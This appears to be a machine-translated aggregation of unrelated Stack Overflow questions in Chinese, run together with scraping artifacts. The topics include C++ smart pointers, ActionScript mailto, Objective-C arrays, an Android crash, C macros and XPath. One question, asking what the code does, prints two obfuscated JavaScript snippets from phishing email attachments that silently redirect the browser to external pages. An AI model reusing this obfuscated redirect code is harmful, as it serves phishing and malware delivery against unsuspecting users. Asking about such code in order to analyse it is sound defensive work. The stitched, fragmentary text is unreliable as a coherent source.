我曾经写过这样的代码:
class P {};
class Q: public P {};
class A {
// takes ownership
A(P* p): p_(p) {}
scoped_ptr<P> p_;
};
A a(new Q);
Run Code Online (Sandbox Code Playgroud)
使用C++ 0x,我应该将A类重写为:
class A {
// takes ownership
A(unique_ptr<P>&& p): p_(p) {}
unique_ptr<P> p_;
};
Run Code Online (Sandbox Code Playgroud) 是否可以使用actionscript 3中的mailto函数向邮件添加附件?多数民众赞成,我想用一些数据打开默认的邮件程序撰写窗口,但我还需要添加一个文件作为附件,该文件必须是应用程序的屏幕截图.我做了一些研究,甚至没有发现任何事情,有人有什么想法?所有的帮助将不胜感激,因为我真的失去了这里.提前致谢 ;)
编辑:
public function onClickEmail(event:MouseEvent):void{
var url:String = "mailto:juan@wncdevelopment.com?subject=Configurador&body=testing&attachment=C:\Users\Juan\Documents\AvoiderGame\test.bmp";
var request:URLRequest = new URLRequest(url);
try {
navigateToURL(request, '_self');
} catch (e:Error) {
trace("Error occurred!");
}
}
Run Code Online (Sandbox Code Playgroud)
这没有用:(它打开邮件客户端所有信息都没问题,但没有附加文件
第二编辑:
看起来attachment = path/to/file在新的电子邮件客户端中不再起作用了,我认为它直到outlook 97然后出于安全原因被删除了,所以现在不再这样做了.感谢所有答案,我选择了N. Lucas答案,因为他的答案是正确的,只是不再可能.
在我的应用程序中,一个NSMutableArray在viewDidLoad中填充了一个对象(最终会有很多对象,但我只是在做一个直到我让它正常工作).我还启动了一个计时器,它启动一个需要每隔几秒访问NSMutableArray的方法.NSMutableArray在viewDidLoad中工作正常,但只要该方法完成,它就会丢失该对象.
myApp.h
@interface MyApp : UIViewController {
NSMutableArray *myMutableArray;
NSTimer *timer;
}
@property (nonatomic, retain) NSMutableArray *myMutableArray;
@property (nonatomic, retain) NSTimer *timer;
@end
Run Code Online (Sandbox Code Playgroud)
myApp.m
#import "MyApp.h"
@implementation MyApp
@synthesize myMutableArray;
- (void) viewDidLoad {
cycleTimer = [NSTimer scheduledTimerWithTimeInterval:4.0 target:self selector:@selector(newCycle) userInfo: nil repeats:YES];
MyObject *myCustomUIViewObject = [[MyObject alloc]init];
[myMutableArray addObject:myCustomUIViewObject];
[myCustomUIViewObject release];
NSLog(@"%i",[myMutableArray count]); /////outputs "1"
}
-(void) newCycle {
NSLog(@"%i",[myMutableArray count]); /////outputs "0" ?? why is this??
}
Run Code Online (Sandbox Code Playgroud) 我知道大多数浏览器已经在手机上支持HTML5,但PC浏览器的状态是什么,特别是对于HTML5 <video>?
什么是良好的网站和资源,以跟上不同浏览器支持HTML5的程度?
我在尝试在方法中声明ChangeAction参数时遇到了麻烦,IDE说我可能缺少命名空间.
所以我右键单击它并解决它,发现已经添加了System.Data.Linq,现在一切都很好.
这两个命名空间有什么区别?
我刚刚发现垃圾邮件发送者正在从我们的域名发送电子邮件,假装是我们,说:
亲爱的顾客,
此电子邮件由ourwebsite.com发送,通知您我们暂时无法访问您的帐户.
我们有理由相信您的帐户可能已被其他人访问过.请运行附件并按照说明操作.
(C)ourwebsite.com(我改变了)
附件是一个包含以下javascript的HTML文件:
<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>
Run Code Online (Sandbox Code Playgroud)
另一封电子邮件:
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Run Code Online (Sandbox Code Playgroud)
任何人都能告诉我它的作用吗?所以我们可以看看我们是否有漏洞,如果我们需要告诉客户这个漏洞......
谢谢
如果我在我的Moto Droid A855上滑出键盘,它会崩溃我的测试应用程序,下面粘贴了堆栈跟踪.我不明白为什么?
此外,如果我用键盘输出我的应用程序,我的应用程序在启动时立即崩溃.
该应用程序由一个活动组成,该活动包含一个viewflipper作为主视图布局.viewflipper包含两个linearlayouts ...
堆栈跟踪:
06-10 21:10:17.652 E/AndroidRuntime( 3785): Uncaught handler: thread main exiting due to uncaught exception
06-10 21:10:17.668 E/AndroidRuntime( 3785): java.lang.IllegalArgumentException: Receiver not registered: android.widget.ViewFlipper$1@447af0b8
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.app.ActivityThread$PackageInfo.forgetReceiverDispatcher(ActivityThread.java:667)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.app.ApplicationContext.unregisterReceiver(ApplicationContext.java:747)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.content.ContextWrapper.unregisterReceiver(ContextWrapper.java:321)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.widget.ViewFlipper.onDetachedFromWindow(ViewFlipper.java:104)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.view.View.dispatchDetachedFromWindow(View.java:5835)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.view.ViewGroup.dispatchDetachedFromWindow(ViewGroup.java:1076)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.view.ViewGroup.dispatchDetachedFromWindow(ViewGroup.java:1074)
06-10 21:10:17.668 E/AndroidRuntime( 3785): at android.view.ViewGroup.dispatchDetachedFromWindow(ViewGroup.java:1074)
06-10 21:10:17.668 E/AndroidRuntime( …Run Code Online (Sandbox Code Playgroud) 看起来我经常花太多时间试图让#define宏完全按照我的意愿去做.我将在下面发布我目前的困境,任何帮助表示赞赏.但真正更大的问题是,是否有人可以推荐的任何实用程序,以快速显示宏实际上在做什么?如果我看到错误的话,即使是缓慢的试错过程似乎会更快.
目前,我正在从我制作的DLL动态加载一长串函数.我设置的方式,函数指针与导出的函数具有相同的nanes,并且用于原型化的typedef具有相同的名称,但具有前置下划线.所以我想使用一个define来简化长长的函数指针列表的赋值.
例如,在下面的代码语句中,'hexdump'是typedef'd函数点的名称,也是函数的名称,而_hexdump是typedef的名称.如果GetProcAddress()失败,则递增失败计数器.
if (!(hexdump = (_hexdump)GetProcAddress(h, "hexdump"))) --iFail;
Run Code Online (Sandbox Code Playgroud)
所以,假设我想用宏来替换上面的每一行,就像这样......
GETADDR_FOR(hexdump )
Run Code Online (Sandbox Code Playgroud)
那么这是迄今为止我提出的最好的.它不起作用(我的//注释只是为了防止消息中的文本格式化)...
// #define GETADDR_FOR(a) if (!(a = (#_#a)GetProcAddress(h, "/""#a"/""))) --iFail;
Run Code Online (Sandbox Code Playgroud)
而且,虽然我很了解我已经犯下了什么愚蠢的错误,但是通过简单地插入我的宏,这将使我的日子能够显示出我的方式错误.
shell命令将$ avrdude -c usbtiny文本输出到stderr.我无法通过诸如head-less-more之类的命令来阅读它.它不是stdout.我想要文本stdout或文件.我怎么能用C做呢?我试图通过我的上一个问题解决问题,但仍未解决.
我在SO上发现了类似的问题,然而,这似乎并不是我想要实现的:
比如,这是一个示例XML文件:
<root>
<item>
<id isInStock="true">10001</id>
<category>Loose Balloon</category>
</item>
<item>
<id isInStock="true">10001</id>
<category>Bouquet Balloon</category>
</item>
<item>
<id isInStock="true">10001</id>
<category>Loose Balloon</category>
</item>
</root>
Run Code Online (Sandbox Code Playgroud)
如果我想从这个XML中获取item元素的"过滤"子集,我怎么能使用XPath表达式来直接解决这个问题呢?
XPathExpression expr = xpath.compile("/root/item/category/text()");
Run Code Online (Sandbox Code Playgroud)
我现在知道这将评估为类别中所有TextContent的集合,但是,这意味着我必须使用集合来存储值,然后迭代,然后再返回以获取其他相关信息,例如项目ID .
另一个问题是:我怎样才能正确引用父节点?
比方说,这个xpath表达式会让我得到所有id节点的集合,对吧?但我想要的是项目节点的集合:
XPathExpression expr = xpath.compile("/root/item/id[@isInStock='true']");
Run Code Online (Sandbox Code Playgroud)
我知道我应该使用"父"轴来指代它,但我无法做到正确...
有没有更好的方法来做这种事情?现在学习w3cschools教程......
对不起,我是Java的XPath新手,非常感谢.